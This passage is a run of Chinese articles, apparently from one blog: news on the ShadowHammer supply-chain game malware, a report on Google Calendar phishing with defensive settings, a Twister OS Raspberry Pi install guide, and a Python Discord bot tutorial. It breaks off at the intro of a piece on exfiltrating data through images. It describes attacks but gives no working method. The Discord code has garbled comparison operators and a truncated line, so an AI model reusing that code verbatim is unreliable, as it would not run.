“我担心有很多软件开发人员完全没有意识到这种潜在的威胁，这种攻击的角度，”Kamluk 说。“如果最受信任的工具是带有后门的，将继续生成受损的可执行文件，如果对它们进行数字签名，它们将受到用户、安全软件等的信任。攻击者发现了全球开发者社区的弱点，这就是他们正在利用的东西。“

卡巴斯基和ESET都表示泰国游戏公司 Electronics Extreme 是该攻击的目标公司之一; 该公司以僵尸为主题的游戏 —— 具有讽刺意味的是名为 Infestation(侵扰) —— 携带恶意软件。

卡巴斯基星期二将韩国公司 Zepetto 列为另一个受害者，其第一人称射击游戏 PointBlank 是被入侵的第二款游戏，在某些情况下曾被恶意软件包围。到目前为止，两家公司都拒绝透露第三名受害者是谁。

总的来说，卡巴斯基反病毒软件检测到92,000台计算机运行恶意版本的游戏，但它怀疑可能会有更多的受害者。3月份的ESET记录的数字高达“数十万”。

据ESET称，几乎所有已知的受感染机器都在亚洲，其中泰国**55**%，菲律宾和台湾各**13**%，香港、印度尼西亚和越南的比例较小。“我相信这只是冰山一角，”Kamluk 说。

卡巴斯基和ESET都注意到，恶意软件经过精心设计，可以在配置为在使用俄语或中国大陆使用的简体中文的任何机器上停止执行。

Dark link

根据 Kamluk 的说法，卡巴斯基在1月份首次发现了视频游戏恶意软件，该公司开始扫描的代码看起来类似于被劫持的华硕更新中发现的后门。

调查导致 Microsoft Visual Studio 的受损版本包括恶意“链接器”，这是 Microsoft 工具的元素，当源代码被编译成机器可读的二进制文件时，它将代码的不同部分连接在一起。新的邪恶链接器将恶意代码库集成到最终编译的程序中。

Kamluk 表示目前尚不清楚黑客如何欺骗受害公司使用受损版本的微软开发者工具的。他补充说，有可能这些公司的程序员从留言板或 BitTorrent 下载了盗版版本的 Visual Studio，就像2015年中国开发人

员使用Apple的 XCode 工具的恶意版本时类似的情况。

但他怀疑，根据目前已知的仅针对三家公司而且仅针对特定游戏的目标，攻击性可能知道他们要找谁。“我推测认为黑客是先破坏公司，然后在内部寻找负责重要可执行文件的软件工程师，这似乎更合乎逻辑一些，”他说。

视频游戏黑客似乎正在进行侦察，而不是在尽可能多的机器上不分青红皂白地植入犯罪软件。恶意软件似乎只是一个第一阶段的木马，只是获得立足点并将机器的唯一标识符上传回黑客的服务器，因此他们可以决定使用第二阶段工具来定位哪些计算机。对华硕的攻击同样严格，旨在将其有效负载恶意软件安装在可能感染的数十万台计算机中的600台特定计算机上。

ShadowHammer

卡巴斯基发现有证据表明，华硕和电子游戏的攻击，它统称为ShadowHammer，可能与较老的、复杂的间谍活动有关，该活动在2017年被称为 ShadowPad。

在那些早期的事件中，黑客劫持了 **Netsarang** 公司分发的服务器管理软件，然后使用类似的供应链攻击来搭载安装在**700,000**台计算机上的 **CCleaner** 软件。但只有**40**家特定公司的计算机收到黑客第二阶段恶意软件感染 – 包括华硕。

卡巴斯基将这些联系建立在代码的相似之处上，两者关注供应链攻击和分发数字签名的恶意软件，还有一个更具启发性的指纹：CCleaner 攻击和视频游戏公司攻击都使用了韩国 Konkuk 大学的受损服务器作为命令和控制服务器。卡巴斯基的 Kamluk 说，这两个攻击中的两台计算机甚至位于该大学网络的同一部分。

正在进行的一系列攻击标志着一群积极破坏软件供应链的咄咄逼人的黑客，因此即使是可靠的来源也会被变成恶意软件的分销商。

但在这些攻击中，视频游戏劫持最接近本源。 Kamluk 说，它们也应该作为警告。“软件开发人员应该问问自己，你的开发软件来自哪里？它是一个值得信赖的来源吗，它是官方的吗，它是否被篡改过？软件开发公司最后一次检查他们正在使用的编译器的完整性是什么时候？“他问道。“我觉得没有人会这样做。这就是这个问题为什么值得警惕。”

“Software developers should ask themselves, where does your development software come from?” SUPPLY CHAIN HACKERS SNUCK MALWARE INTO VIDEOGAMES

原文

在谷歌日历中植入钓鱼攻击链接的结果是什么？ - iYouPort

技术-攻击防御和反抗

您可能一直在留意电子邮件中可能存在的网络钓鱼邮件。您很清楚安全规则：如果您有任何疑问，请不要点击任何链接或下载附件。

这些都没错，但在实践中很难坚持。

现在，鉴于威胁情报公司卡巴斯基的新发现、以及网络钓鱼文本、网络钓鱼推文、和网络钓鱼弹出窗口 ……您还需要担心另一件事：日历中的网络钓鱼。

- 关于防止和实施攻击，延伸：《大型网络钓鱼攻击活动专门针对注重隐私的用户，成功绕过双因素身份验证》
- 《击败骗局—9个防御技巧》
- 《侦查和欺骗：这里是社交工程攻击必备的技术工具》
- 《对话是门技术活：擅长对话的攻击者能操纵你做任何事》
- 《谎言的极简心理学和如何保护自己》
- 《我是如何上当受骗的？》
- 更多详见“心理学和社交工程”类目

攻击者已经意识到，他们可以利用看似无害的日历设置，在受害者的日程安排上插入带有恶意钓鱼链接的events。

在许多情况下，这也会自动触发通知，进一步使恶意事件看起来合理合法。

该骗局特别有效，因为日历条目和通知来自谷歌日历等受信任的应用程序。

攻击来自于骗子向 Google 日历用户发送的一波日历活动邀请。

目标是利用默认设置 —— 日历将自动添加任何事件并发送有关它的通知。

卡巴斯基的研究人员主要观察攻击者通过简短的事件描述推送虚假的钓鱼链接，例如“你收到了现金奖励”或“你的名下有转账”等等。

当然，这个想法和传统的钓鱼攻击形式一样，吸引受害者点击然后将个人信息输入到恶意页面中。

“对于日历攻击，诈骗者使用的是准备好的电子邮件列表发送他们的欺诈性邀请，”卡巴斯基的安全研究员 Maria Vergelis 说，他一直在关注这种方法。

“他们还可以设置提醒次数，以便多次发送相同的消息，直到目标点击所需的链接或删除邀请为止。”

“这样的邀请会自动将通知添加到一个人的日历中。交付方式非常新，而且还在不断发展”。

攻击者可以使用相同的日历事件策略来推送所有不同类型的网络钓鱼链接，可能冒充活动计划或 RSVP 表单。

攻击者同样依赖 Google 服务的合法性来分发似乎是良性 Google Docs 链接的恶意链接。

网络钓鱼防御公司 Area 1 的首席执行官 Oren Falkowitz 说，关于日历攻击的特殊之处在于分发方法。

“因为使用日历太常见了，于是这种方法有可能向更多人发送恶意链接”。

如前文中提到的“延伸”阅读，那是基本防御方法，此外 Google 日历用户还可以通过应用程序本身保护自己免受不必要的邀请。

在桌面浏览器上打开 Google 日历的设置，然后转到“事件设置”」“自动添加邀请”，然后选择“不，仅显示我已回复的邀请”选项。

此外，在“查看选项”下，确保未选中“显示已拒绝的事件”。

“谷歌的服务条款和产品政策禁止在我们的服务上传播恶意内容，我们会尽力防止和主动解决滥用问题”，谷歌发言人称。

这只是免责声明，信任这些寡头是危险的；依旧建议您加强自我保护意识。

Area 1的 Falkowitz 指出，日历钓鱼攻击尤其有害，因为它们在如此受信任的背景中出乎意料地突然出现，“这正是人类最难避免的攻击类型”。〇

TRICKY SCAM PLANTS PHISHING LINKS IN YOUR GOOGLE CALENDAR

原文

如何使树莓派看起来像Windows或macOS - iyouport

技术-攻击防御和反抗

可帮助新手适应 Linux。

用 Twister OS 给您的树莓派改头换面一下吧。它是一个Linux 发行版，具有内置的一键式主题 ，模仿 Windows 和 macOS 操作系统。有现代和复古的选择。例如，您可以选择 Windows 10-、Windows 7-、Windows XP- 或 Windows 95 风格的主题。

令人难以置信的树莓派

「图」

什么东西尺寸为3.5英寸乘2.2英寸乘0.7英寸（85毫米乘56毫米乘17毫米），销量超过3000万台？它是仅次于PC和Mac的第三大最畅销的普通计算机，也是有史以来最成功的英国计算机。这就是树莓派单板计算机。

它是在2012年2月作为一种手段推出的。当时树莓派基金会的创始人埃本·厄普顿(Eben Upton)想生产一些东西，让英国的学童可以开始使用计算机和编码，就像1980年代的BBC微型计算机那样。

树莓派的前两个型号被命名为 Model A和ModelB，事实上，Acorn 继续设计了ARM处理器，这是世界上使用最广泛的处理器，也是树莓派的核心。

树莓派与BBC微型计算机的不同之处在于价格。1981年，一台BBC B型计算机的价格为399英镑（563美元）。2012年，树莓派B型机的价格是22英镑（31美元）。最便宜的树莓派售价仅为5美元（4英镑）。

树莓派的低价和开放、便于修补的设计使它非常适合教育以外的数百种应用。业余爱好者和工业界都在使用它，它还推动了一个繁荣的售

后附加产业。

选择您的树莓派操作系统

「图」

官方的树莓派操作系统是 Debian Linux 的一个定制版本，称为 Raspberry Pi OS。但您并不局限于此。有20多个基于 Linux 的操作系统可供树莓派使用，也有很多非 Linux 操作系统。例如，您可以在树莓派上使用 Windows 10 IoT、Haiku 或 RISC OS Open。

但是，如果您想拥有一个看起来像 macOS 或 Windows 版本的东西呢？Windows 10 IoT 没有配备桌面图形用户界面，所以您需要找到另一个解决方案。Twister OS 就是您正在寻找的解决方案。

Twister OS 是 Raspberry Pi OS 的定制版本，有大量的主题选择——包括图标—— 提供各种版本的 Windows 和 macOS 的一般外观和感觉。Twister OS 包含一个小工具，可以让您非常容易地在各种主题之间来回切换。

它在 Raspberry Pi 4 上运行效果最好，在 Raspberry Pi 3＋ 上的反应也差不多。在 Raspberry Pi Model B＋ 上测试的结果显示，它可以工作，但速度很慢。

安装 Twister OS

「图」

从 Twister OS 的下载页面下载树莓派版本的 Twister OS。找到下载的文件并右键单击它。从上下文菜单中选择 “用存档管理器打开”。如果该选项没有出现，请选择 “用其他应用程序打开” ，并从那里选择存档管理器。

在存档管理器中，右键单击存档中的单个文件，从菜单中选择 “提取”。

您会被提示选择一个保存提取文件的位置。打开一个终端窗口，将目录切换到您保存提取文件的位置。

本案例将需要把镜像保存到SD卡上。提取的镜像是10GB，所以您需要一张至少16GB的卡，但建议32GB。

在您将SD卡连接到电脑之前，使用 *lsblck* 命令来识别您电脑中的硬盘驱动器。

将您的SD卡连接到您的电脑。我们将再次使用 *lsblck*。之前没有列出的设备就是您的SD卡。

在用于本文的机器上，SD卡显示为设备SDC。记下您的SD卡的设备名，这对您来说至关重要。如果您把 Twister OS 镜像恢复到错误的设备上就麻烦了。

将镜像刻录到SD卡上的命令是：

```
sudo dd bs=4M if=TwisterOSv2-0-0.img of=/dev/sdc
conv=fdatasync status=progress
```

关于这个命令中的内容：

sudo：您需要作为超级用户才能发送dd命令。

dd：我们正在使用的命令。

bs＝4M：-bs（块大小）选项定义了从输入文件读取并复制到输出设备的每个块的大小。

if＝: if（输入文件）是 Twister OS 镜像文件的路径和名称。

of＝: -of（输出文件）是关键参数，是我们要写入镜像的设备。在本案例中，它是 /dev/sdc。确保您已经在您的计算机上正确地识别了正确的设备。

conv＝fdatasync：这可以确保在创建过程被标记为完成之前，写缓冲区被正确和完全地刷新。

status＝progress：这提供了一些视觉反馈，关于正在发生什么。

「图」

系统将提示您输入密码，然后进程就开始了。

「图」

该过程可能需要相当长的时间。本案例在测试机器上花了 10 多分钟。该过程完成后，将显示读取和写入的块总数。

您可以解除对SD卡的挂载，并将其插入您的树莓派。

启动 **Twister OS**

「图」

一旦 Twister OS 启动，您会看到标准的 Twister OS 桌面。它使用xfce桌面环境。

Twister Os 的默认桌面

「图」

这是一个功能完美的 Linux 安装。打开终端，查看 “/etc/os-release” 文件，看到它是基于 Raspberry Pi Os 的（以前称为Raspbian），而 Raspbian 是由 Debian Linux Buster 版本衍生而来的。

```
cat /etc/os-release
```

“ThemeTwister” 图标位于桌面上。这是主题选择工具。

双击该图标启动主题选择对话框。

单击蓝色的 “下一步” 按钮以查看操作系统主题的选择。

一些主题带有黑暗模式。您可以从以下方面选择；

Twister OS浅色模式。

Twister OS黑暗模式。

Twister 95，一个Windows 95主题。

Twister XP，一个Windows XP主题。

Twister 7，一个Windows 7主题。

Twister 10 light，一个Windows 10主题。

Twister 10 dark, 一个黑暗模式的Windows 10主题。

iTwister light, 一个macOs主题。

iTwister dark, 一个黑暗模式的macOs主题。

iTwister Sur light, 一个macOS Big Sur主题。

iTwister Sur dark, 一个黑暗模式的macOS Big Sur主题。

没有 Windows Vista 或 Windows 8 主题。

应该指出，只要您点击主题缩略图下面的任何一个按钮，主题化过程就会开始。没有让您 “确定” 的警告。此外，改变主题将需要重新启动。一条信息会告诉您什么时候按 “Enter” 键重启您的树莓派。

主题

「图」

本案例尝试了 Windows 7、Windows 10 和 macOS Big Sur 主题。这里是Windows 7的桌面；

它在唤起经典的 Windows 7 外观和感觉方面做得相当好。开始按钮带来了熟悉的系统菜单。当它们正在运行时，应用程序会出现在屏幕底部的任务栏中。

Internet Explorer 图标打开了 Chromium 浏览器，Word和Excel图标打开了 LibreOffice Writer 和 Calc。Outlook 图标打开了 Evolution 邮件应用程序。“开始” 按钮上有一个微软色彩的 Twister OS 旋风标志。

Windows 10 黑暗模式的表现同样令人信服。桌面拥有 Twister OS 徽标而不是 Windows 徽标，但外观和感觉以及对细节的关注强烈唤起了 Windows 10 体验。

系统菜单中的 Office 菜单条目使用 Microsoft Office 徽标，但指向 LibreOffice 应用程序。

任务栏中的图标采用当前 Microsoft Word、Excel 和 Outlook 图标的形式。

Twister Sur 主题试图复制 macOS Big Sur 操作系统的外观及其桌面元素的位置。屏幕底部有程序坞，顶部有一个菜单栏。

Dock 上的图标对于 Mac 用户来说非常熟悉。它们打开了等效的

Linux 桌面应用程序。

「图」

最后

「图」

Twister OS 是一个健全的基于 Debian 的 Linux，而 xfce桌面是一个轻量级的、可靠的图形用户界面。有很多主流的 Linux 发行版都是建立在这两个著名的 Linux 主干系统之上的。您的 Linux 用户体验不会因为使用 Twister OS 而有任何的降低。

不同的主题可能会帮助新手适应 Linux，有一个熟悉的界面来工作。但大多数 Twister OS 用户也会喜欢这种轻松的感觉，并有机会告诉别人，是的，他们有一个Mac的树莓。●

How to Make Your Raspberry Pi Look Like Windows or macOS

原文

如何使用Python免费创建Discord Bot –完整教程 - iyouport

技术-攻击防御和反抗

【2021年4月5日存档】本教程将向您展示如何在云中构建自己的 Discord bot。

您不需要在电脑上安装任何东西，也不需要支付任何费用来托管您的机器人。

我们将使用一些工具，包括 Discord API、Python 库和一个名为 Repl.it 的云计算平台。

这个书面教程还有一个视频版本，在下面，书面版本在视频之后。

如何创建 Discord Bot 帐户

「图」

为了使用 Python 库和 Discord API，我们必须首先创建一个 Discord Bot 帐户。

以下是创建 Discord Bot 账户的步骤。

1. 确保您已经登录到 Discord 网站。

2. 导航到应用页面。

3. 点击 “New Application” 按钮。

4. 给应用命名，然后单击 “创建”。

5. 转到 “Bot” 选项卡，然后单击 “Add Bot”。然后确认。

保持机器人的默认设置 “Public Bot”（已选中）和 “Require OAuth2

Code Grant”（未选中）。

您的机器人已经被创建。下一步是复制令牌。

这个令牌是您的机器人的密码，所以不要与任何人分享它。它可能允许某人登录到您的机器人并做各种坏事。

如果它不小心被泄漏，您可以重新生成令牌。

如何将机器人加入服务器

「图」

现在，您必须将Bot用户放入服务器。为此，您应该为其创建邀请URL。

转到 “OAuth2” 选项。然后在 “scopes” 部分下选择 “bot”。

现在，选择您想要的机器人权限。我们的机器人将主要使用短信，因此我们不需要很多权限。您可能需要更多，具体取决于您希望机器人执行的操作。请小心 “管理员” 权限！

选择合适的权限后，点击权限上方的 “复制” 按钮。这样就会复制一个URL，可以用来将机器人添加到服务器上。

将这个URL粘贴到浏览器中，选择一个要邀请机器人的服务器，然后点击 “授权”。

要添加机器人，您的账户需要有 “管理服务器 “的权限。

现在您已经创建了机器人用户，我们将开始为机器人编写 Python 代码。

如何使用 discord.py 库对基本 Discord Bot 进行编码

「图」

我们将使用 discord.py Python 库编写该机器人的代码。 discord.py 是 Discord 的API包装器，可以更轻松地在Python中创建 Discord 机器人。

您可以使用任何代码编辑器在本地计算机上开发机器人。本教程将使

用的是 Repl.it，因为它更简单。Repl.it 是一个在线IDE，您可以在浏览器中使用。

首先进入 Repl.it。创建一个新的 Repl 并选择 “Python” 作为语言。

要使用 discord.py 库，只需在 main.py 的顶部写上 import discord。按下 “运行” 按钮时，Repl.it 会自动安装这个依赖项。

如果您喜欢在本地对机器人进行编码，可以在MacOS上使用这个命令来安装 discord.py：

```
python3 -m pip install -U discord.py
```

您可能必须使用 pip3 而不是 pip。

如果您使用的是 Windows，改为以下命令：

```
py -3 -m pip install -U discord.py
```

discord.py 围绕事件的概念展开。事件是指您所听到的，然后对其进行响应。例如，当一个消息发生时，您会收到一个关于它的事件，您可以对其进行回复。

让我们做一个机器人，它可以回复特定的消息。这个简单的机器人代码以及代码说明取自 the discord.py documentation。稍后我们将为机器人添加更多的功能。

将这段代码添加到 main.py 中。(如果你喜欢的话，可以给这个文件起个其他名字，但不要用 discord.py)：

```
import discord import os client = discord.Client()
@client.event async def on_ready(): print('We have
logged in as {0.user}'.format(client))
@client.event async def on_message(message): if
message.author == client.user: return if
message.content.startswith('$hello'): await
message.channel.send('Hello!')
client.run(os.getenv('TOKEN'))
```

刚才在 Discord 上创建机器人用户时，您复制了一个令牌。现在我们要创建一个 .env 文件来存储这个令牌。如果您在本地运行代码，就不需要 .env文件，只要把 os.getenv(‘TOKEN’) 换成这个令牌就行

了。

.env 文件是用来声明环境变量的。在 Repl.it 上，您创建的大多数文件对任何人都是可见的，但 .env 文件只对您自己可见。 其他查看公共repl的人将无法看到.env文件的内容。

所以，如果您在 Repl.it 上进行开发，请只在 .env 文件中包含令牌或密钥等私人信息。

点击 “添加文件” 按钮，创建一个名为.env 的文件。

在文件内添加以下行，包括您先前复制的实际令牌：

```
TOKEN=[paste token here]
```

来看看每行代码的作用。

1、第一行导入 discord.py 库。

2、第二行导入 os 库，但这只是用来从 .env 文件中获取 TOKEN 变量。如果您没有使用.env文件就不需要这一行。

3、接下来，创建一个Client，这是与 Discord 的连接。

4、@client.event() 装饰器用于注册一个事件。这是一个异步库，所以要通过回调来完成。回调是指当其他事情发生时被调用的函数。在这段代码中，当机器人准备好时就会调用 on_ready() 事件。然后，当机器人收到消息时，就会调用 on_message() 事件。

5、on_message() 事件在每次收到消息时都会触发，但如果消息是来自您自己，您就不希望它做任何事。所以如果 Message.author 等于 Client.user，代码就会返回。

6、接下来检查 Message.content 是否以 ‘$hello’ 开头。如果是，那么机器人就会用 ‘Hello！’来回复。

7、现在机器人已经设置好了，最后一行使用登录令牌运行机器人。它从 .env 文件中获取令牌。

现在运行它就可以了。

如何运行这个机器人

「图」

现在，单击顶部的运行按钮以在 repl.it 中运行您的机器人。

如果您是在本地编写机器人，可以在终端中使用以下命令来运行机器人。

在 Windows 上：

```
py -3 main.py
```

在其他系统上：

```
python3 main.py
```

现在转到您的Discord房间，然后键入“ $ hello”。您的机器人应返回“ Hello！”。

如何改善机器人

「图」

现在您已经有了一个最基本的机器人，您需要改进它。它被称为 “鼓励机器人” 是有原因的。

每当有人发送包含悲伤或压抑字眼的消息时，这个机器人就会回复一条鼓励的消息。

任何人都可以添加鼓励信息供机器人使用，用户提交的信息将被存储在 Repl.it 数据库中。

当有人在聊天中输入消息 “$inspire” 时，这个机器人也会从API中随机返回一句励志的话。

我们将从添加 “$inspire” 功能开始。

如何在机器人中添加励志名言

「图」

我们将从一个名为 zenquotes.io 的API中获取励志名言。需要再导入几个 Python 模块，添加一个 get_quote() 函数，更新机器人代码来调

用该函数。

下面是更新后的代码。

```
import discord import os import requests import
json client = discord.Client() def get_quote():
response = requests.get("https://zenquotes.io/api/
random") json_data = json.loads(response.text)
quote = json_data[0]['q'] + " -" + json_data[0]
['a'] return(quote) @client.event async def
on_ready(): print('We have logged in as
{0.user}'.format(client)) @client.event async def
on_message(message): if message.author ==
client.user: return if
message.content.startswith('$inspire'): quote =
get_quote() await message.channel.send(quote)
client.run(os.getenv('TOKEN'))
```

现在要导入 requests 模块。这个模块允许代码进行HTTP请求从API中获取数据。API返回的是JSON，所以json模块可以更容易处理返回的数据。

get_quote() 函数非常简单。首先，它使用 requests 模块从 API URL 中请求数据。API返回一个随机的励志名言。如果当前的API停止工作，这个函数可以很容易地重写成从不同的API获取名言。

接下来使用 json.load() 将API的响应转换为JSON。励志名言从该函数中以字符串的形式返回。

最后的更新部分在结尾处。之前它寻找的是以 “$hello” 开头的消息，现在它寻找的是 “$inspire”。它不是返回 “Hello!”，而是用 quote = get_quote() 获取一个励志名言，并返回这句名言。

此时，您可以运行您的代码尝试一下。

如何向机器人添加励志消息

「图」

现在我们将实现该功能，当用户发布带有悲伤字眼的消息时，机器人会通过励志消息来响应。

首先需要创建一个 Python 列表，其中包含机器人将响应的悲伤字眼。

创建 client 变量后，添加以下行：

```
sad_words = [“sad”, “depressed”, “unhappy”, “angry”, “miserable”]
```

您可以随时在该列表中添加更多单词。

现在将添加一个鼓励机器人响应的励志消息列表。 在您创建的 sad_words 列表之后添加以下列表：

```
starter_encouragements = [ "Cheer up!", "Hang in there.", "You are a great person / bot!" ]
```

像以前一样，您可以随意在这个列表中添加更多您选择的短语。我现在只用了三个，因为稍后会增加更多功能。

如何响应消息

「图」

现在我们需要更新这个机器人来使用我们创建的两个列表。首先，导入随机模块，因为机器人会随机选择励志信息。在代码顶部添加以下一行：import random。

现在将更新 on_message() 函数，检查所有消息是否包含 sad_words 列表中的单词。如果发现一个悲伤的单词，机器人将随机发送一条鼓励的消息。

下面是更新后的代码。

```
async def on_message(message): if message.author == client.user: return msg = message.content if msg.startswith('$inspire'): quote = get_quote() await message.channel.send(quote) if any(word in msg for word in sad_words): await message.channel.send(random.choice(starter_encouragement
```

这是测试机器人的好时机。您现在已经足够了解如何创建自己的机器人了，接下来您将学习如何使用 Repl.it 数据库实现更多高级功能并

存储数据。

如何启用用户提交的消息

「图」

现在我们可以通过Discord更新这个机器人。用户应该能够为机器人添加更多的励志信息，让它在检测到一个悲伤的词时可以使用。

我们将使用 Repl.it 的内置数据库来存储用户提交的消息。这个数据库是每个repl.it内置的键值存储。

在代码的顶部，在其他导入语句下，添加 from replit import db。这将允许您使用 Repl.it 数据库。

用户将可以直接从 Discord 聊天中为机器人添加自定义的鼓励信息。在为机器人添加新命令之前，先创建两个辅助函数，以将自定义消息添加到数据库并删除它们。

在 get_quote() 函数后添加以下代码。

```
def update_encouragements(encouraging_message): if
"encouragements" in db.keys(): encouragements =
db["encouragements"]
encouragements.append(encouraging_message)
db["encouragements"] = encouragements else:
db["encouragements"] = [encouraging_message] def
delete_encouragment(index): encouragements =
db["encouragements"] if len(encouragements) 」
index: del encouragements[index]
db["encouragements"] = encouragements
```

update_encouragements() 函数接受一个鼓励性信息作为参数。

首先它检查 “encouragements” 是否是数据库中的一个键。如果是，它就会得到数据库中已有的鼓励性信息列表，将新的鼓励性信息添加到列表中，并将更新后的列表存储到数据库中。

如果数据库中还没有 “encouragements” 键，则创建一个新的键，并将新的鼓励信息作为该列表中的第一个元素添加进去。

delete_encouragement() 函数接受一个索引作为参数。它从数据库中

获取存储在 “鼓励” 键下的鼓励性信息列表。如果鼓励性信息列表中的项目数量大于索引，那么该索引处的列表项就会被删除。

最后，更新后的列表会被存储回数据库中。

下面是 on_message() 函数的更新代码。

```
async def on_message(message): if message.author
== client.user: return msg = message.content if
msg.startswith("$inspire"): quote = get_quote()
await message.channel.send(quote) options =
starter_encouragements if "encouragements" in
db.keys(): options = options +
db["encouragements"] if any(word in msg for word
in sad_words): await
message.channel.send(random.choice(options)) if
msg.startswith("$new"): encouraging_message =
msg.split("$new ",1)[1]
update_encouragements(encouraging_message) await
message.channel.send("New encouraging message
added.") if msg.startswith("$del"): encouragements
= [] if "encouragements" in db.keys(): index =
int(msg.split("$del",1)[1])
delete_encouragment(index) encouragements =
db["encouragements"] await
message.channel.send(encouragements)
```

上面的第一行新代码是 options = starter_encouragements。之所以要复制 starter_encouragements，是因为要在为机器人选择随机消息发送之前，将用户提交的消息添加到该列表中。

我们检查 “encouragement” 是否已经在数据库中（意味着用户至少提交了一条自定义消息）。如果是，就将用户消息添加到鼓励列表中。

然后，机器人现在不是从 starter_encouragements 中随机发送消息，而是从 options 中随机发送消息。

下面的代码用于将用户提交的新消息添加到数据库中。如果一条 Discord 消息以 “$new” 开头，那么 “$new” 之后的文本将被用作新的鼓励性消息。

msg.split(“$new ”,1)[1] 将消息从 “$new” 命令中分离出来，并将消息存储在一个变量中。请注意 “$new ” 中的空格，我们需要空格后的所有内容。

用新消息调用 update_encouragements 助手函数，然后机器人会向 discord 聊天室发送一条消息，确认消息已被添加。

第三个新的部分（在上面代码的最后）检查新的Discord消息是否以 “$del” 开头。这是删除数据库中 “鼓励” 列表中某项的命令。

首先，一个名为 encouragements 的新变量被初始化为一个空数组。这样做的原因是，如果数据库中没有包含 “鼓励” 键，这部分代码将以一个空数组发送消息。

如果 “鼓励” 键在数据库中，那么索引将从 Discord 消息中以 “$del” 开头分割出来。然后，调用 delete_encouragement() 函数，传递要删除的索引。更新后的鼓励列表会被加载到鼓励变量中，然后机器人会向Discord发送一条包含当前列表的消息。

最后添加功能

「图」

机器人应该可以工作了，所以现在是测试它的好时机。现在我们将添加一些最后的功能。

将添加从Discord直接获取用户提交的消息列表的能力，还将添加关闭和开启机器人是否对悲伤的对话做出回应的能力。

下面是完整程序的最终代码。

```
import discord import os import requests import
json import random from replit import db client =
discord.Client() sad_words = ["sad", "depressed",
"unhappy", "angry", "miserable"]
starter_encouragements = [ "Cheer up!", "Hang in
there.", "You are a great person / bot!" ] if
"responding" not in db.keys(): db["responding"] =
True def get_quote(): response =
requests.get("https://zenquotes.io/api/random")
json_data = json.loads(response.text) quote =
```

```
json_data[0]["q"] + " -" + json_data[0]["a"]
return(quote) def
update_encouragements(encouraging_message): if
"encouragements" in db.keys(): encouragements =
db["encouragements"]
encouragements.append(encouraging_message)
db["encouragements"] = encouragements else:
db["encouragements"] = [encouraging_message] def
delete_encouragment(index): encouragements =
db["encouragements"] if len(encouragements) ⌟
index: del encouragements[index]
db["encouragements"] = encouragements
@client.event async def on_ready(): print("We have
logged in as {0.user}".format(client))
@client.event async def on_message(message): if
message.author == client.user: return msg =
message.content if msg.startswith("$inspire"):
quote = get_quote() await
message.channel.send(quote) if db["responding"]:
options = starter_encouragements if
"encouragements" in db.keys(): options = options +
db["encouragements"] if any(word in msg for word
in sad_words): await
message.channel.send(random.choice(options)) if
msg.startswith("$new"): encouraging_message =
msg.split("$new ",1)[1]
update_encouragements(encouraging_message) await
message.channel.send("New encouraging message
added.") if msg.startswith("$del"): encouragements
= [] if "encouragements" in db.keys(): index =
int(msg.split("$del",1)[1])
delete_encouragment(index) encouragements =
db["encouragements"] await
message.channel.send(encouragements) if
msg.startswith("$list"): encouragements = [] if
"encouragements" in db.keys(): encouragements =
db["encouragements"] await
message.channel.send(encouragements) if
msg.startswith("$responding"): value =
msg.split("$responding ",1)[1] if value.lower() ==
```

```
"true": db["responding"] = True await
message.channel.send("Responding is on.") else:
db["responding"] = False await
message.channel.send("Responding is off.")
client.run(os.getenv("TOKEN"))
```

添加到代码的第一部分就在 starter_encouragements 列表下面：

```
if "responding" not in db.keys(): db["responding"]
= True
```

在数据库中创建一个名为 “回应” 的新键，并将其设置为 “True”，将用它来决定机器人是否应该对悲伤的词语做出回应。

下一个新的部分是，响应悲伤的话的部分现在在这个 if 语句里面：if db[“responseing”]:。只有在 db[“responseing”]＝True 的情况下，机器人才会响应悲伤的话。

接下来，在让机器人响应 “$del” 命令的代码之后，有新的代码来响应作为Discord消息发送的 “$list” 命令。

本节首先创建一个名为鼓励的空列表，然后如果数据库中已经有了鼓励，这些鼓励就会替换刚刚创建的空列表。

最后，机器人将鼓励列表作为 Discord 消息发送。

接下来是最后一个新的部分。这段代码让机器人响应 “$responding” 命令。这个命令的参数为 “true” 或 “false”。下面是一个使用示例: “$responding true”.

代码是 value = msg.split(“$responding ”,1)[1] （和之前一样，注意 “$responding ” 中的空格）。然后是一个 if/else 语句，适当地设置数据库中的 “responding”，并向 Discord 发送一个通知消息。如果参数不是 “true”，代码就会假设为 “false”。

机器人的代码就完成了。现在您可以运行机器人并试用它。但还有一个重要的步骤，下面讨论。

如何将机器人设置为连续运行

「图」

如果您在 repl.it 中运行机器人，然后关闭正在运行的标签页，您的机器人将停止运行。

为了让机器人持续运行，我们将使用另一个免费服务，名为 Uptime Robot，网址为

https://uptimerobot.com/

。

Uptime Robot 可以被设置为每5分钟ping一次 repl.it上的机器人的web服务器。通过不断的ping，机器人永远不会进入睡眠阶段。

所以我们还要做两件事来让机器人持续运行：

- 在 repl.it上创建一个web服务器
- 设置 Uptime Robot 持续 ping 这个服务器

如何在 repl.it 中创建Web服务器

「图」

很简单，只需要在您的项目中创建一个名为 keep_alive.py 的新文件。

然后添加以下代码：

```
from flask import Flask from threading import
Thread app = Flask('') @app.route('/') def home():
return "Hello. I am alive!" def run():
app.run(host='0.0.0.0',port=8080) def
keep_alive(): t = Thread(target=run) t.start()
```

在这段代码中，我们使用 Flask 来启动一个Web服务器。服务器会向访问它的人返回 “你好。我还活着。” 服务器将在一个独立的线程上运行，与机器人无关。

现在我们只需要机器人来运行这个web服务器。

在 main.py 的顶部添加以下一行来导入服务器：

```
from keep_alive import keep_alive
```

要在运行 main.py 时启动Web服务器，请将以下行作为倒数第二行添加，就在机器人运行之前：

```
keep_alive()
```

添加此代码后，在 repl.it 上运行机器人时，将打开一个新的Web服务器窗口。显示了Web服务器的URL。复制该URL，以便您可以在下一部分中使用它。

「图」

如何设置Uptime Robot

「图」

现在我们需要设置 Uptime Robot 以每五分钟ping一次Web服务器，这将导致机器人不断运行。

在

https://uptimerobot.com/

上创建一个免费帐户。

登录到帐户后，单击 “Add New Monitor”。

请选择 “ HTTP（s）” 作为监视器类型，可将其命名为任意名称。然后，从 repl.it 粘贴Web服务器的URL。最后，单击 “Create Monitor”。

大功告成！现在，该机器人将连续运行，以便人们可以始终在 Repl.it 上与它进行交互。

最后

「图」

discord.py 库还可以做很多其他事。因此，如果您想为 Discord 机器人提供更多功能，那么下一步就是查看这里的文档。〇

How to Create a Discord Bot for Free with Python—Full Tutorial

原文

如何利用图片绕过防火墙窃取数据？ - iYouPort

技术-攻击防御和反抗

一种绕过防火墙的攻击方法

「图」

「图」

无需使用元数据工具即可将数据快速注入图像中。

攻击者可能会将这些图片发送到普通的文件共享网站，从而借此从 MacBook 中窃取敏感信息。

本文探讨的就是一种将数据嵌入图像的替代方法。
